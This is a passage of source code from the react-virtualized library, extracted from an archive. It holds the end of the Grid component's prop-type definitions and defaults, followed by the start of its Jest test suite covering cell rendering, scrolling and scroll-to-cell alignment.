  "isScrolling": PropTypes.bool,

  /**
   * Opt-out of isScrolling param passed to cellRangeRenderer.
   * To avoid the extra render when scroll stops.
   */
  "isScrollingOptOut": PropTypes.bool.isRequired,

  /** Optional renderer to be used in place of rows when either :rowCount or :columnCount is 0.  */
  "noContentRenderer": function noContentRenderer() {
    return (typeof bpfrpt_proptype_NoContentRenderer === "function" ? bpfrpt_proptype_NoContentRenderer.isRequired ? bpfrpt_proptype_NoContentRenderer.isRequired : bpfrpt_proptype_NoContentRenderer : PropTypes.shape(bpfrpt_proptype_NoContentRenderer).isRequired).apply(this, arguments);
  },

  /**
   * Callback invoked whenever the scroll offset changes within the inner scrollable region.
   * This callback can be used to sync scrolling between lists, tables, or grids.
   */
  "onScroll": PropTypes.func.isRequired,

  /**
   * Called whenever a horizontal or vertical scrollbar is added or removed.
   * This prop is not intended for end-user use;
   * It is used by MultiGrid to support fixed-row/fixed-column scroll syncing.
   */
  "onScrollbarPresenceChange": PropTypes.func.isRequired,

  /** Callback invoked with information about the section of the Grid that was just rendered.  */
  "onSectionRendered": PropTypes.func.isRequired,

  /**
   * Number of columns to render before/after the visible section of the grid.
   * These columns can help for smoother scrolling on touch devices or browsers that send scroll events infrequently.
   */
  "overscanColumnCount": PropTypes.number.isRequired,

  /**
   * Calculates the number of cells to overscan before and after a specified range.
   * This function ensures that overscanning doesn't exceed the available cells.
   */
  "overscanIndicesGetter": function overscanIndicesGetter() {
    return (typeof bpfrpt_proptype_OverscanIndicesGetter === "function" ? bpfrpt_proptype_OverscanIndicesGetter.isRequired ? bpfrpt_proptype_OverscanIndicesGetter.isRequired : bpfrpt_proptype_OverscanIndicesGetter : PropTypes.shape(bpfrpt_proptype_OverscanIndicesGetter).isRequired).apply(this, arguments);
  },

  /**
   * Number of rows to render above/below the visible section of the grid.
   * These rows can help for smoother scrolling on touch devices or browsers that send scroll events infrequently.
   */
  "overscanRowCount": PropTypes.number.isRequired,

  /** ARIA role for the grid element.  */
  "role": PropTypes.string.isRequired,

  /**
   * Either a fixed row height (number) or a function that returns the height of a row given its index.
   * Should implement the following interface: ({ index: number }): number
   */
  "rowHeight": function rowHeight() {
    return (typeof bpfrpt_proptype_CellSize === "function" ? bpfrpt_proptype_CellSize.isRequired ? bpfrpt_proptype_CellSize.isRequired : bpfrpt_proptype_CellSize : PropTypes.shape(bpfrpt_proptype_CellSize).isRequired).apply(this, arguments);
  },

  /** Number of rows in grid.  */
  "rowCount": PropTypes.number.isRequired,

  /** Wait this amount of time after the last scroll event before resetting Grid `pointer-events`. */
  "scrollingResetTimeInterval": PropTypes.number.isRequired,

  /** Horizontal offset. */
  "scrollLeft": PropTypes.number,

  /**
   * Controls scroll-to-cell behavior of the Grid.
   * The default ("auto") scrolls the least amount possible to ensure that the specified cell is fully visible.
   * Use "start" to align cells to the top/left of the Grid and "end" to align bottom/right.
   */
  "scrollToAlignment": function scrollToAlignment() {
    return (typeof bpfrpt_proptype_Alignment === "function" ? bpfrpt_proptype_Alignment.isRequired ? bpfrpt_proptype_Alignment.isRequired : bpfrpt_proptype_Alignment : PropTypes.shape(bpfrpt_proptype_Alignment).isRequired).apply(this, arguments);
  },

  /** Column index to ensure visible (by forcefully scrolling if necessary) */
  "scrollToColumn": PropTypes.number.isRequired,

  /** Vertical offset. */
  "scrollTop": PropTypes.number,

  /** Row index to ensure visible (by forcefully scrolling if necessary) */
  "scrollToRow": PropTypes.number.isRequired,

  /** Optional inline style */
  "style": PropTypes.object.isRequired,

  /** Tab index for focus */
  "tabIndex": PropTypes.number,

  /** Width of Grid; this property determines the number of visible (vs virtualized) columns.  */
  "width": PropTypes.number.isRequired
}), _temp);

_defineProperty(Grid, "defaultProps", {
  'aria-label': 'grid',
  'aria-readonly': true,
  autoContainerWidth: false,
  autoHeight: false,
  autoWidth: false,
  cellRangeRenderer: defaultCellRangeRenderer,
  containerRole: 'rowgroup',
  containerStyle: {},
  estimatedColumnSize: 100,
  estimatedRowSize: 30,
  getScrollbarSize: scrollbarSize,
  noContentRenderer: renderNull,
  onScroll: function onScroll() {},
  onScrollbarPresenceChange: function onScrollbarPresenceChange() {},
  onSectionRendered: function onSectionRendered() {},
  overscanColumnCount: 0,
  overscanIndicesGetter: defaultOverscanIndicesGetter,
  overscanRowCount: 10,
  role: 'grid',
  scrollingResetTimeInterval: DEFAULT_SCROLLING_RESET_TIME_INTERVAL,
  scrollToAlignment: 'auto',
  scrollToColumn: -1,
  scrollToRow: -1,
  style: {},
  tabIndex: 0,
  isScrollingOptOut: false
});

polyfill(Grid);
export default Grid;
import { bpfrpt_proptype_CellRenderer } from "./types";
import { bpfrpt_proptype_CellRangeRenderer } from "./types";
import { bpfrpt_proptype_CellPosition } from "./types";
import { bpfrpt_proptype_CellSize } from "./types";
import { bpfrpt_proptype_CellSizeGetter } from "./types";
import { bpfrpt_proptype_NoContentRenderer } from "./types";
import { bpfrpt_proptype_Scroll } from "./types";
import { bpfrpt_proptype_ScrollbarPresenceChange } from "./types";
import { bpfrpt_proptype_RenderedSection } from "./types";
import { bpfrpt_proptype_OverscanIndicesGetter } from "./types";
import { bpfrpt_proptype_Alignment } from "./types";
import { bpfrpt_proptype_CellCache } from "./types";
import { bpfrpt_proptype_StyleCache } from "./types";
import { bpfrpt_proptype_AnimationTimeoutId } from "../utils/requestAnimationTimeout";
import PropTypes from "prop-types";es/Grid/Grid.jest.js000064400000266253151677406000010253 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _inherits from "@babel/runtime/helpers/inherits";
import _regeneratorRuntime from "@babel/runtime/regenerator";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import _extends from "@babel/runtime/helpers/extends";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { Simulate } from 'react-dom/test-utils';
import TestRenderer from 'react-test-renderer';
import { render } from '../TestUtils';
import Grid, { DEFAULT_SCROLLING_RESET_TIME_INTERVAL } from './Grid';
import defaultCellRangeRenderer from './defaultCellRangeRenderer';
import { CellMeasurer, CellMeasurerCache } from '../CellMeasurer';
import { SCROLL_DIRECTION_BACKWARD, SCROLL_DIRECTION_FORWARD } from './defaultOverscanIndicesGetter';
import { getMaxElementSize } from './utils/maxElementSize.js';
var DEFAULT_COLUMN_WIDTH = 50;
var DEFAULT_HEIGHT = 100;
var DEFAULT_ROW_HEIGHT = 20;
var DEFAULT_WIDTH = 200;
var NUM_ROWS = 100;
var NUM_COLUMNS = 50;

function getScrollbarSize0() {
  return 0;
}

function getScrollbarSize20() {
  return 20;
}

describe('Grid', function () {
  function defaultCellRenderer(_ref) {
    var columnIndex = _ref.columnIndex,
        key = _ref.key,
        rowIndex = _ref.rowIndex,
        style = _ref.style;
    return React.createElement("div", {
      className: "gridItem",
      key: key,
      style: style
    }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
  }

  function simulateScroll(_ref2) {
    var grid = _ref2.grid,
        _ref2$scrollLeft = _ref2.scrollLeft,
        scrollLeft = _ref2$scrollLeft === void 0 ? 0 : _ref2$scrollLeft,
        _ref2$scrollTop = _ref2.scrollTop,
        scrollTop = _ref2$scrollTop === void 0 ? 0 : _ref2$scrollTop;
    var target = {
      scrollLeft: scrollLeft,
      scrollTop: scrollTop
    };
    grid._scrollingContainer = target; // HACK to work around _onScroll target check

    Simulate.scroll(findDOMNode(grid), {
      target: target
    });
  }

  function getMarkup() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    return React.createElement(Grid, _extends({
      cellRenderer: defaultCellRenderer,
      columnCount: NUM_COLUMNS,
      columnWidth: DEFAULT_COLUMN_WIDTH,
      getScrollbarSize: getScrollbarSize0,
      height: DEFAULT_HEIGHT,
      overscanColumnCount: 0,
      overscanRowCount: 0,
      autoHeight: false,
      rowHeight: DEFAULT_ROW_HEIGHT,
      rowCount: NUM_ROWS,
      width: DEFAULT_WIDTH
    }, props));
  }

  describe('number of rendered children', function () {
    it('should render enough children to fill the available area', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(20); // 5 rows x 4 columns
    });
    it('should not render more rows than available if the area is not filled', function () {
      var rendered = findDOMNode(render(getMarkup({
        rowCount: 2
      })));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(8); // 2 rows x 4 columns
    });
    it('should not render more columns than available if the area is not filled', function () {
      var rendered = findDOMNode(render(getMarkup({
        columnCount: 2
      })));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(10); // 5 rows x 2 columns
    }); // Small performance tweak added in 5.5.6

    it('should not render/parent cells that are null or false', function () {
      function cellRenderer(_ref3) {
        var columnIndex = _ref3.columnIndex,
            key = _ref3.key,
            rowIndex = _ref3.rowIndex,
            style = _ref3.style;

        if (columnIndex === 0) {
          return null;
        } else if (rowIndex === 0) {
          return false;
        } else {
          return React.createElement("div", {
            className: "cell",
            key: key,
            style: style
          }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
        }
      }

      var rendered = findDOMNode(render(getMarkup({
        columnCount: 3,
        overscanColumnCount: 0,
        overscanRowCount: 0,
        rowCount: 3,
        cellRenderer: cellRenderer
      })));
      expect(rendered.querySelectorAll('.cell').length).toEqual(4); // [1,1], [1,2], [2,1], and [2,2]

      expect(rendered.textContent).not.toContain('column:0');
      expect(rendered.textContent).not.toContain('row:0');
    });
    it('should scroll to the last existing point when rows are removed', function () {
      var grid = render(getMarkup({
        rowCount: 15
      }));
      simulateScroll({
        grid: grid,
        scrollTop: 200
      });
      var updatedGrid = render(getMarkup({
        rowCount: 10
      }));
      expect(updatedGrid.state.scrollTop).toEqual(100);
    });
    it('should scroll to the last existing point when columns are removed', function () {
      var grid = render(getMarkup({
        columnCount: 12
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 400
      });
      var updatedGrid = render(getMarkup({
        columnCount: 8
      }));
      expect(updatedGrid.state.scrollLeft).toEqual(200);
    });
    it('should not scroll unseen rows are removed', function () {
      render(getMarkup({
        rowCount: 15
      }));
      var updatedGrid = render(getMarkup({
        rowCount: 10
      }));
      expect(updatedGrid.state.scrollTop).toEqual(0);
    });
    it('should not scroll when unseen columns are removed', function () {
      render(getMarkup({
        columnCount: 12
      }));
      var updatedGrid = render(getMarkup({
        columnCount: 8
      }));
      expect(updatedGrid.state.scrollLeft).toEqual(0);
    });
  });
  describe('shows and hides scrollbars based on rendered content', function () {
    it('should set overflowX:hidden if columns fit within the available width and y-axis has no scrollbar', function () {
      var rendered = findDOMNode(render(getMarkup({
        columnCount: 4,
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5
      })));
      expect(rendered.style.overflowX).toEqual('hidden');
    });
    it('should set overflowX:hidden if columns and y-axis scrollbar fit within the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        columnCount: 4,
        getScrollbarSize: getScrollbarSize20,
        width: 200 + getScrollbarSize20()
      })));
      expect(rendered.style.overflowX).toEqual('hidden');
    });
    it('should leave overflowX:auto if columns require more than the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        columnCount: 4,
        getScrollbarSize: getScrollbarSize20,
        width: 200 - 1,
        rowCount: 5
      })));
      expect(rendered.style.overflowX).not.toEqual('hidden');
    });
    it('should leave overflowX:auto if columns and y-axis scrollbar require more than the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        columnCount: 4,
        getScrollbarSize: getScrollbarSize20,
        width: 200 + getScrollbarSize20() - 1
      })));
      expect(rendered.style.overflowX).not.toEqual('hidden');
    });
    it('should set overflowY:hidden if rows fit within the available width and xaxis has no scrollbar', function () {
      var rendered = findDOMNode(render(getMarkup({
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5,
        columnCount: 4
      })));
      expect(rendered.style.overflowY).toEqual('hidden');
    });
    it('should set overflowY:hidden if rows and x-axis scrollbar fit within the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5,
        height: 100 + getScrollbarSize20()
      })));
      expect(rendered.style.overflowY).toEqual('hidden');
    });
    it('should leave overflowY:auto if rows require more than the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5,
        height: 100 - 1,
        columnCount: 4
      })));
      expect(rendered.style.overflowY).not.toEqual('hidden');
    });
    it('should leave overflowY:auto if rows and x-axis scrollbar require more than the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        getScrollbarSize: getScrollbarSize20,
        rowCount: 5,
        height: 100 + getScrollbarSize20() - 1
      })));
      expect(rendered.style.overflowY).not.toEqual('hidden');
    });
    it('should accept styles that overwrite calculated ones', function () {
      var rendered = findDOMNode(render(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        height: 1,
        rowCount: 1,
        style: {
          overflowY: 'visible',
          overflowX: 'visible'
        },
        width: 1
      })));
      expect(rendered.style.overflowY).toEqual('visible');
      expect(rendered.style.overflowX).toEqual('visible');
    });
  });
  /** Tests scrolling via initial props */

  describe(':scrollToColumn and :scrollToRow', function () {
    it('should scroll to the left', function () {
      var grid = render(getMarkup({
        scrollToColumn: 0
      }));
      expect(grid.state.scrollLeft).toEqual(0);
    });
    it('should scroll over to the middle', function () {
      var grid = render(getMarkup({
        scrollToColumn: 24
      })); // 50 columns * 50 item width = 2,500 total item width
      // 4 columns can be visible at a time and :scrollLeft is initially 0,
      // So the minimum amount of scrolling leaves the 25th item at the right (just scrolled into view).

      expect(grid.state.scrollLeft).toEqual(1050);
    });
    it('should scroll to the far right', function () {
      var grid = render(getMarkup({
        scrollToColumn: 49
      })); // 50 columns * 50 item width = 2,500 total item width
      // Target offset for the last item then is 2,500 - 200

      expect(grid.state.scrollLeft).toEqual(2300);
    });
    it('should scroll to the top', function () {
      var grid = render(getMarkup({
        scrollToRow: 0
      }));
      expect(grid.state.scrollTop).toEqual(0);
    });
    it('should scroll down to the middle', function () {
      var grid = render(getMarkup({
        scrollToRow: 49
      })); // 100 rows * 20 item height = 2,000 total item height
      // 5 rows can be visible at a time and :scrollTop is initially 0,
      // So the minimum amount of scrolling leaves the 50th item at the bottom (just scrolled into view).

      expect(grid.state.scrollTop).toEqual(900);
    });
    it('should scroll to the bottom', function () {
      var grid = render(getMarkup({
        scrollToRow: 99
      })); // 100 rows * 20 item height = 2,000 total item height
      // Target offset for the last item then is 2,000 - 100

      expect(grid.state.scrollTop).toEqual(1900);
    });
    it('should scroll to a row and column just added', function () {
      var grid = render(getMarkup());
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      grid = render(getMarkup({
        columnCount: NUM_COLUMNS + 1,
        rowCount: NUM_ROWS + 1,
        scrollToColumn: NUM_COLUMNS,
        scrollToRow: NUM_ROWS
      }));
      expect(grid.state.scrollLeft).toEqual(2350);
      expect(grid.state.scrollTop).toEqual(1920);
    });
    it('should scroll back to a newly-added cell without a change in prop', function () {
      var grid = render(getMarkup({
        columnCount: NUM_COLUMNS,
        rowCount: NUM_ROWS,
        scrollToColumn: NUM_COLUMNS,
        scrollToRow: NUM_ROWS
      }));
      grid = render(getMarkup({
        columnCount: NUM_COLUMNS + 1,
        rowCount: NUM_ROWS + 1,
        scrollToColumn: NUM_COLUMNS,
        scrollToRow: NUM_ROWS
      }));
      expect(grid.state.scrollLeft).toEqual(2350);
      expect(grid.state.scrollTop).toEqual(1920);
    });
    it('should scroll to the correct position for :scrollToAlignment "start"', function () {
      var grid = render(getMarkup({
        scrollToAlignment: 'start',
        scrollToColumn: 24,
        scrollToRow: 49
      })); // 50 columns * 50 item width = 2,500 total item width
      // 100 rows * 20 item height = 2,000 total item height
      // 4 columns and 5 rows can be visible at a time.
      // The minimum amount of scrolling leaves the specified cell in the bottom/right corner (just scrolled into view).
      // Since alignment is set to "start" we should scroll past this point until the cell is aligned top/left.

      expect(grid.state.scrollLeft).toEqual(1200);
      expect(grid.state.scrollTop).toEqual(980);
    });
    it('should scroll to the correct position for :scrollToAlignment "end"', function () {
      render(getMarkup({
        scrollToColumn: 99,
        scrollToRow: 99
      }));
      var grid = render(getMarkup({
        scrollToAlignment: 'end',
        scrollToColumn: 24,
        scrollToRow: 49
      })); // 50 columns * 50 item width = 2,500 total item width
      // 100 rows * 20 item height = 2,000 total item height
      // We first scroll past the specified cell and then back.
      // The minimum amount of scrolling then should leave the specified cell in the top/left corner (just scrolled into view).
      // Since alignment is set to "end" we should scroll past this point until the cell is aligned bottom/right.

      expect(grid.state.scrollLeft).toEqual(1050);
      expect(grid.state.scrollTop).toEqual(900);
    });
    it('should scroll to the correct position for :scrollToAlignment "center"', function () {
      render(getMarkup({
        scrollToColumn: 99,
        scrollToRow: 99
      }));
      var grid = render(getMarkup({
        scrollToAlignment: 'center',
        scrollToColumn: 24,
        scrollToRow: 49
      })); // 50 columns * 50 item width = 2,500 total item width
      // Viewport width is 200
      // Column 24 starts at 1,200, center point at 1,225, so...

      expect(grid.state.scrollLeft).toEqual(1125); // 100 rows * 20 item height = 2,000 total item height
      // Viewport height is 100
      // Row 49 starts at 980, center point at 990, so...

      expect(grid.state.scrollTop).toEqual(940);
    }); // Tests issue #691

    it('should set the correct :scrollLeft after height increases from 0', function () {
      render.unmount();
      expect(findDOMNode(render(getMarkup({
        height: 0,
        scrollToColumn: 24
      }))).scrollLeft || 0).toEqual(0);
      expect(findDOMNode(render(getMarkup({
        height: 100,
        scrollToColumn: 24
      }))).scrollLeft).toEqual(1050);
    }); // Tests issue #691

    it('should set the correct :scrollTop after width increases from 0', function () {
      render.unmount();
      expect(findDOMNode(render(getMarkup({
        scrollToRow: 49,
        width: 0
      }))).scrollTop || 0).toEqual(0);
      expect(findDOMNode(render(getMarkup({
        scrollToRow: 49,
        width: 100
      }))).scrollTop).toEqual(900);
    }); // Tests issue #218

    it('should set the correct :scrollTop after row and column counts increase from 0', function () {
      var expectedScrollTop = 100 * DEFAULT_ROW_HEIGHT - DEFAULT_HEIGHT + DEFAULT_ROW_HEIGHT;
      render(getMarkup({
        columnCount: 0,
        rowCount: 150,
        scrollToRow: 100
      }));
      expect(findDOMNode(render(getMarkup({
        columnCount: 150,
        rowCount: 150,
        scrollToRow: 100
      }))).scrollTop).toEqual(expectedScrollTop);
    });
    it('should support scrollToCell() public method', function () {
      var grid = render(getMarkup());
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      grid.scrollToCell({
        columnIndex: 24,
        rowIndex: 49
      }); // 50 columns * 50 item width = 2,500 total item width
      // 4 columns can be visible at a time and :scrollLeft is initially 0,
      // So the minimum amount of scrolling leaves the 25th item at the right (just scrolled into view).

      expect(grid.state.scrollLeft).toEqual(1050); // 100 rows * 20 item height = 2,000 total item height
      // 5 rows can be visible at a time and :scrollTop is initially 0,
      // So the minimum amount of scrolling leaves the 50th item at the bottom (just scrolled into view).

      expect(grid.state.scrollTop).toEqual(900); // Change column without affecting row

      grid.scrollToCell({
        columnIndex: 49
      });
      expect(grid.state.scrollLeft).toEqual(2300);
      expect(grid.state.scrollTop).toEqual(900); // Change row without affecting column

      grid.scrollToCell({
        rowIndex: 99
      });
      expect(grid.state.scrollLeft).toEqual(2300);
      expect(grid.state.scrollTop).toEqual(1900);
    });
    it('should support scrollToPosition() public method', function () {
      var grid = render(getMarkup());
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      grid.scrollToPosition({
        scrollLeft: 50,
        scrollTop: 100
      });
      expect(grid.state.scrollLeft).toEqual(50);
      expect(grid.state.scrollTop).toEqual(100); // Change column without affecting row

      grid.scrollToPosition({
        scrollLeft: 25
      });
      expect(grid.state.scrollLeft).toEqual(25);
      expect(grid.state.scrollTop).toEqual(100); // Change row without affecting column

      grid.scrollToPosition({
        scrollTop: 50
      });
      expect(grid.state.scrollLeft).toEqual(25);
      expect(grid.state.scrollTop).toEqual(50);
    });
    it('should support handleScrollEvent() public method', function () {
      var grid = render(getMarkup());
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      grid.handleScrollEvent({
        scrollLeft: 50,
        scrollTop: 100
      });
      expect(grid.state.isScrolling).toEqual(true);
      expect(grid.state.scrollLeft).toEqual(50);
      expect(grid.state.scrollTop).toEqual(100);
    });
    it('should support getOffsetForCell() public method', function () {
      var grid = render(getMarkup());

      var _grid$getOffsetForCel = grid.getOffsetForCell({
        columnIndex: 24,
        rowIndex: 49
      }),
          scrollLeft = _grid$getOffsetForCel.scrollLeft,
          scrollTop = _grid$getOffsetForCel.scrollTop; // 50 columns * 50 item width = 2,500 total item width
      // 4 columns can be visible at a time and :scrollLeft is initially 0,
      // So the minimum amount of scrolling leaves the 25th item at the right (just scrolled into view).


      expect(scrollLeft).toEqual(1050); // 100 rows * 20 item height = 2,000 total item height
      // 5 rows can be visible at a time and :scrollTop is initially 0,
      // So the minimum amount of scrolling leaves the 50th item at the bottom (just scrolled into view).

      expect(scrollTop).toEqual(900);
    });
    it('should support getTotalRowsHeight() public method', function () {
      var grid = render(getMarkup());
      grid.recomputeGridSize();
      var totalHeight = grid.getTotalRowsHeight(); // 100 rows * 20 item height = 2,000 total item height

      expect(totalHeight).toEqual(2000);
    });
    it('should support getTotalColumnsWidth() public method', function () {
      var grid = render(getMarkup());
      grid.recomputeGridSize();
      var totalWidth = grid.getTotalColumnsWidth(); // 50 columns * 50 item width = 2,500 total item width

      expect(totalWidth).toEqual(2500);
    }); // See issue #565

    it('should update scroll position to account for changed cell sizes within a function prop wrapper', function () {
      var _rowHeight = 20;
      var props = {
        height: 100,
        rowCount: 100,
        rowHeight: function rowHeight(_ref4) {
          var index = _ref4.index;
          return index === 99 ? _rowHeight : 20;
        },
        scrollToRow: 99
      };
      var grid = render(getMarkup(props));
      var node = findDOMNode(grid);
      expect(node.scrollTop).toBe(1900);
      _rowHeight = 40;
      grid.recomputeGridSize({
        rowIndex: 99
      });
      expect(node.scrollTop).toBe(1920);
    });
    it('should not restore scrollLeft when scrolling left and recomputeGridSize with columnIndex smaller than scrollToColumn', function () {
      var props = {
        columnWidth: 50,
        columnCount: 100,
        height: 100,
        rowCount: 100,
        rowHeight: 20,
        scrollToColumn: 50,
        scrollToRow: 50,
        width: 100
      };
      var grid = render(getMarkup(props));
      expect(grid.state.scrollLeft).toEqual(2450);
      simulateScroll({
        grid: grid,
        scrollLeft: 2250
      });
      expect(grid.state.scrollLeft).toEqual(2250);
      expect(grid.state.scrollDirectionHorizontal).toEqual(SCROLL_DIRECTION_BACKWARD);
      grid.recomputeGridSize({
        columnIndex: 30
      });
      expect(grid.state.scrollLeft).toEqual(2250);
    });
    it('should not restore scrollTop when scrolling up and recomputeGridSize with rowIndex smaller than scrollToRow', function () {
      var props = {
        columnWidth: 50,
        columnCount: 100,
        height: 100,
        rowCount: 100,
        rowHeight: 20,
        scrollToColumn: 50,
        scrollToRow: 50,
        width: 100
      };
      var grid = render(getMarkup(props));
      expect(grid.state.scrollTop).toEqual(920);
      simulateScroll({
        grid: grid,
        scrollTop: 720
      });
      expect(grid.state.scrollTop).toEqual(720);
      expect(grid.state.scrollDirectionVertical).toEqual(SCROLL_DIRECTION_BACKWARD);
      grid.recomputeGridSize({
        rowIndex: 20
      });
      expect(grid.state.scrollTop).toEqual(720);
    });
    it('should restore scroll offset for column when row count increases from 0 (and vice versa)', function () {
      var props = {
        columnWidth: 50,
        columnCount: 100,
        height: 100,
        rowCount: 100,
        rowHeight: 20,
        scrollToColumn: 50,
        scrollToRow: 50,
        width: 100
      };
      var grid = render(getMarkup(props));
      expect(grid.state.scrollLeft).toEqual(2450);
      expect(grid.state.scrollTop).toEqual(920);
      render(getMarkup(_objectSpread({}, props, {
        columnCount: 0
      })));
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      render(getMarkup(props));
      expect(grid.state.scrollLeft).toEqual(2450);
      expect(grid.state.scrollTop).toEqual(920);
      render(getMarkup(_objectSpread({}, props, {
        rowCount: 0
      })));
      expect(grid.state.scrollLeft).toEqual(0);
      expect(grid.state.scrollTop).toEqual(0);
      render(getMarkup(props));
      expect(grid.state.scrollLeft).toEqual(2450);
      expect(grid.state.scrollTop).toEqual(920);
    });
    it('should take scrollbar size into account when aligning cells', function () {
      var grid = render(getMarkup({
        columnWidth: 50,
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        height: 100,
        rowCount: 100,
        rowHeight: 20,
        scrollToColumn: 50,
        scrollToRow: 50,
        width: 100
      }));
      expect(grid.state.scrollLeft).toEqual(2450 + getScrollbarSize20());
      expect(grid.state.scrollTop).toEqual(920 + getScrollbarSize20());
    });
  });
  describe('property updates', function () {
    it('should update :scrollToColumn position when :columnWidth changes', function () {
      var grid = findDOMNode(render(getMarkup({
        scrollToColumn: 25
      })));
      expect(grid.textContent).toContain('column:25'); // Making columns taller pushes name off/beyond the scrolled area

      grid = findDOMNode(render(getMarkup({
        scrollToColumn: 25,
        columnWidth: 20
      })));
      expect(grid.textContent).toContain('column:25');
    });
    it('should update :scrollToRow position when :rowHeight changes', function () {
      var grid = findDOMNode(render(getMarkup({
        scrollToRow: 50
      })));
      expect(grid.textContent).toContain('row:50'); // Making rows taller pushes name off/beyond the scrolled area

      grid = findDOMNode(render(getMarkup({
        scrollToRow: 50,
        rowHeight: 20
      })));
      expect(grid.textContent).toContain('row:50');
    });
    it('should update :scrollToColumn position when :width changes', function () {
      var grid = findDOMNode(render(getMarkup({
        scrollToColumn: 25
      })));
      expect(grid.textContent).toContain('column:25'); // Making the grid narrower leaves only room for 1 item

      grid = findDOMNode(render(getMarkup({
        scrollToColumn: 25,
        width: 50
      })));
      expect(grid.textContent).toContain('column:25');
    });
    it('should update :scrollToRow position when :height changes', function () {
      var grid = findDOMNode(render(getMarkup({
        scrollToRow: 50
      })));
      expect(grid.textContent).toContain('row:50'); // Making the grid shorter leaves only room for 1 item

      grid = findDOMNode(render(getMarkup({
        scrollToRow: 50,
        height: 20
      })));
      expect(grid.textContent).toContain('row:50');
    });
    it('should update :scrollToColumn position when :scrollToColumn changes', function () {
      var grid = findDOMNode(render(getMarkup()));
      expect(grid.textContent).not.toContain('column:25');
      grid = findDOMNode(render(getMarkup({
        scrollToColumn: 25
      })));
      expect(grid.textContent).toContain('column:25');
    });
    it('should update :scrollToRow position when :scrollToRow changes', function () {
      var grid = findDOMNode(render(getMarkup()));
      expect(grid.textContent).not.toContain('row:50');
      grid = findDOMNode(render(getMarkup({
        scrollToRow: 50
      })));
      expect(grid.textContent).toContain('row:50');
    });
    it('should update scroll position if size shrinks smaller than the current scroll', function () {
      var grid = findDOMNode(render(getMarkup({
        scrollToColumn: 250
      })));
      grid = findDOMNode(render(getMarkup()));
      grid = findDOMNode(render(getMarkup({
        scrollToColumn: 250,
        columnCount: 10
      })));
      expect(grid.textContent).toContain('column:9');
    });
    it('should update scroll position if size shrinks smaller than the current scroll', function () {
      var grid = findDOMNode(render(getMarkup({
        scrollToRow: 500
      })));
      grid = findDOMNode(render(getMarkup()));
      grid = findDOMNode(render(getMarkup({
        scrollToRow: 500,
        rowCount: 10
      })));
      expect(grid.textContent).toContain('row:9');
    });
  });
  describe('noContentRenderer', function () {
    it('should call :noContentRenderer if :columnCount is 0', function () {
      var list = findDOMNode(render(getMarkup({
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        },
        columnCount: 0
      })));
      expect(list.textContent).toEqual('No data');
    });
    it('should call :noContentRenderer if :rowCount is 0', function () {
      var list = findDOMNode(render(getMarkup({
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        },
        rowCount: 0
      })));
      expect(list.textContent).toEqual('No data');
    }); // Sanity check for bvaughn/react-virtualized/pull/348

    it('should render an empty body if :rowCount or :columnCount changes to 0', function () {
      function noContentRenderer() {
        return React.createElement("div", null, "No data");
      }

      var list = findDOMNode(render(getMarkup({
        noContentRenderer: noContentRenderer
      })));
      expect(list.textContent).not.toEqual('No data');
      list = findDOMNode(render(getMarkup({
        noContentRenderer: noContentRenderer,
        rowCount: 0
      })));
      expect(list.textContent).toEqual('No data');
      list = findDOMNode(render(getMarkup({
        noContentRenderer: noContentRenderer
      })));
      expect(list.textContent).not.toEqual('No data');
      list = findDOMNode(render(getMarkup({
        columnCount: 0,
        noContentRenderer: noContentRenderer
      })));
      expect(list.textContent).toEqual('No data');
    });
    it('should render an empty body if :columnCount is 0 and there is no :noContentRenderer', function () {
      var list = findDOMNode(render(getMarkup({
        columnCount: 0
      })));
      expect(list.textContent).toEqual('');
    });
    it('should render an empty body if :rowCount is 0 and there is no :noContentRenderer', function () {
      var list = findDOMNode(render(getMarkup({
        rowCount: 0
      })));
      expect(list.textContent).toEqual('');
    });
    it('should render an empty body there is a :noContentRenderer but :height or :width are 0', function () {
